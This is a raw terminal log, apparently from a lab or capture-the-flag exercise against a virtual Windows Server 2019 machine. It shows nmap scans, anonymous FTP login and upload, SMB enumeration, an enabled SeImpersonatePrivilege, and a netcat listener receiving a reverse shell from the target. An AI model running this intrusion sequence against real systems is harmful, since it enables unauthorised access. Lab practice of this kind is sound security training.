nmap -p- 192.168.56.214 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-0919:46 EST Nmap scan report for 192.168.56.214 Host is up (0.00062s latency). Not shown: 65521 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 5985/tcp open wsman 47001/tcp open winrm 49664/tcp open unknown 49665/tcp open unknown 49666/tcp open unknown 49667/tcp open unknown 49668/tcp open unknown 49669/tcp open unknown 49670/tcp open unknown MAC Address: 08:00:27:E8:79:97 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 34.95 seconds
──(root㉿kaada)-[/home/kali/Desktop] └─# nmap -A -sV -T4 -p21,80,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 192.168.56.214 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-0919:49 EST Nmap scan report for 192.168.56.214 Host is up (0.00055s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp Microsoft ftpd |_ftp-anon: Anonymous FTP login allowed (FTP code 230) | ftp-syst: |_ SYST: Windows_NT 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: IIS Windows Server | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 445/tcp open microsoft-ds? 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 49664/tcp open msrpc Microsoft Windows RPC 49665/tcp open msrpc Microsoft Windows RPC 49666/tcp open msrpc Microsoft Windows RPC 49667/tcp open msrpc Microsoft Windows RPC 49668/tcp open msrpc Microsoft Windows RPC 49669/tcp open msrpc Microsoft Windows RPC 49670/tcp open msrpc Microsoft Windows RPC MAC Address:08:00:27:E8:79:97 (PCS Systemtechnik/Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Microsoft Windows 2019 OS CPE: cpe:/o:microsoft:windows_server_2019 OS details: Microsoft Windows Server 2019 Network Distance:1 hop Service Info:OS: Windows; CPE: cpe:/o:microsoft:windows
TRACEROUTE HOP RTT ADDRESS 10.55 ms 192.168.56.214
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done:1 IP address (1 host up) scanned in62.52 seconds
──(root㉿kaada)-[/home/kali] └─# ftp 192.168.56.214 Connected to 192.168.56.214. 220 Microsoft FTP Service Name (192.168.56.214:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system typeis Windows_NT. ftp> dir 229 Entering Extended Passive Mode (|||49672|) 150 Opening ASCII mode data connection. 226 Transfer complete. ftp> ls 229 Entering Extended Passive Mode (|||49673|) 150 Opening ASCII mode data connection. 226 Transfer complete. ftp> ls -al 229 Entering Extended Passive Mode (|||49674|) 150 Opening ASCII mode data connection. 226 Transfer complete. ftp> ls -a 229 Entering Extended Passive Mode (|||49675|) 150 Opening ASCII mode data connection. 226 Transfer complete. ftp>
===========================( Enumerating Workgroup/Domain on 192.168.56.214 )===========================
[+] Got domain/workgroup name: WORKGROUP
===============================( Nbtstat Information for192.168.56.214 )===============================
Looking up status of 192.168.56.214 SRV <00> - B <ACTIVE> Workstation Service WORKGROUP <00> - <GROUP> B <ACTIVE> Domain/Workgroup Name SRV <20> - B <ACTIVE> File Server Service
MAC Address = 08-00-27-E8-79-97
==================================( Session Check on 192.168.56.214 )==================================
[E] Server doesn't allow session using username '', password ''. Aborting remainder of tests.
┌──(root㉿kaada)-[/home/kali/Desktop] └─# echo "123" > test.txt ┌──(root㉿kaada)-[/home/kali/Desktop] └─# ftp 192.168.56.214 Connected to 192.168.56.214. 220 Microsoft FTP Service Name (192.168.56.214:kali): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> put test.txt local: test.txt remote: test.txt 229 Entering Extended Passive Mode (|||49678|) 150 Opening ASCII mode data connection. 100% |****************************************************************************************************************************************************************************************| 5 131.96 KiB/s --:-- ETA 226 Transfer complete. 5 bytes sent in 00:00 (4.37 KiB/s) ftp>
Privilege Name Description State ============================= ========================================= ======== SeAssignPrimaryTokenPrivilege Replace a process level token Disabled SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled SeAuditPrivilege Generate security audits Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
┌──(root㉿kaada)-[/home/kali/Desktop] └─# nc -lvvp 9999 listening on [any]9999 ... 192.168.56.214: inverse host lookup failed: Unknown host connect to [192.168.56.104] from (UNKNOWN) [192.168.56.214]49687 Microsoft Windows [Version 10.0.17763.3650] (c) 2018 Microsoft Corporation. All rights reserved.
